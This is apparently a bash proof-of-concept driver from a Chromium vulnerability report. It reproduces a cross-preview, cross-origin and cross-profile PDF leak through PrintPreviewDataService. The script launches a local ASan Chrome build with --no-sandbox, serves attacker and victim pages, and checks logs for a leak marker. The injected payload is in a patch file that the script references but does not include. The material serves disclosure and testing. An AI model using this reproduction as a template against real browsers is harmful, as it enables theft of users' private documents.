#!/bin/bash
# POC driver: cross-preview / cross-origin PDF leak via PrintPreviewDataService.
#
# Threat model: a compromised chrome-untrusted://print renderer (the in-process
# PDFium PDF content frame). We simulate the compromise by injecting a small
# script into PluginResponseWriter's HTML (see chromium-changes.patch). The
# script runs inside the --pdf-renderer process at chrome-untrusted://print and
# enumerates ui_id=1..20, fetching chrome-untrusted://print/<N>/-1/print.pdf
# via the frame's bound chrome-untrusted WebUIURLLoaderFactory.
#
# Sequence:
#   1. Launch Chrome with attacker.html. window.print() -> PrintPreviewUI
#      ui_id=1; the chrome-untrusted://print/1/... PDF content frame (the
#      "compromised" renderer) starts polling all ui_ids.
#   2. A second Chrome invocation (same user-data-dir, --new-window) opens
#      victim.html in a new top-level window of the SAME browser process.
#      victim's window.print() -> PrintPreviewUI ui_id=2 with the cross-origin
#      victim's rendered PDF stored in the process-global PrintPreviewDataService.
#   3. The compromised attacker frame (own_ui_id=1) fetches ui_id=2 and receives
#      the victim's full PDF bytes -> *** CROSS-PREVIEW-LEAK ***.
#
# Optionally pass `incognito` as $1 to open the victim window in an Incognito
# context, demonstrating cross-PROFILE leak (the singleton is process-global).
set +e
ARTIFACTS="$(cd "$(dirname "$0")" && pwd)"
CHROME=/chromium/chromium/src/out/asan/chrome
PROFILE=/tmp/chrome-poc-profile
LOG="$ARTIFACTS/chrome.log"

# Clean state.
for p in $(pgrep -f "out/asan/chrome" 2>/dev/null); do kill -9 "$p" 2>/dev/null; done
rm -rf "$PROFILE"
rm -f  "$LOG"

# Start cross-origin HTTP servers (ports 9080/9081, mapped to *.test).
if ! curl -sSf http://127.0.0.1:9080/victim.html >/dev/null 2>&1; then
  python3 "$ARTIFACTS/server.py" >/tmp/poc-server.log 2>&1 &
  SERVER_PID=$!
  sleep 1
fi

# --window-size keeps software-raster shared-image allocations small enough for
# constrained-memory test environments; it does not affect the vulnerability.
COMMON_FLAGS=(
  --no-first-run --no-default-browser-check --no-sandbox
  --disable-gpu --ignore-gpu-blocklist
  --disable-popup-blocking
  --disable-backgrounding-occluded-windows
  --disable-renderer-backgrounding
  --disable-background-timer-throttling
  --window-size=500,500 --force-device-scale-factor=1
  --host-resolver-rules="MAP *.test 127.0.0.1"
  --user-data-dir="$PROFILE"
  --enable-logging=stderr --v=0
)

# (1) Attacker window -> ui_id=1 (compromised frame).
"$CHROME" "${COMMON_FLAGS[@]}" "http://attacker.test:9081/attacker.html" \
  >"$LOG" 2>&1 &
CHROME_PID=$!

# Wait for attacker's Print Preview to render.
sleep 5

# (2) Victim window -> ui_id=2 in the same browser process.
if [ "$1" = "incognito" ]; then
  echo "[*] Opening victim in INCOGNITO window (cross-profile)"
  "$CHROME" --no-sandbox --user-data-dir="$PROFILE" --incognito \
    "http://victim.test:9080/victim.html" >>"$LOG" 2>&1
else
  "$CHROME" --no-sandbox --user-data-dir="$PROFILE" --new-window \
    "http://victim.test:9080/victim.html" >>"$LOG" 2>&1
fi

# Let victim's preview render and the POC sweep observe it.
sleep 18

kill "$CHROME_PID" 2>/dev/null
wait "$CHROME_PID" 2>/dev/null
[ -n "$SERVER_PID" ] && kill "$SERVER_PID" 2>/dev/null

echo
echo "===== [POC] frames committed ====="
grep -a "PDF content frame committed" "$LOG"
echo
echo "===== CROSS-PREVIEW-LEAK lines ====="
grep -a "CROSS-PREVIEW-LEAK" "$LOG" | head -10 || echo "(no leak lines)"
echo
echo "===== summary ====="
if grep -aq "CROSS-PREVIEW-LEAK" "$LOG"; then
  echo "REPRODUCED: chrome-untrusted://print frame read another preview's PDF bytes."
else
  echo "NOT REPRODUCED."
fi
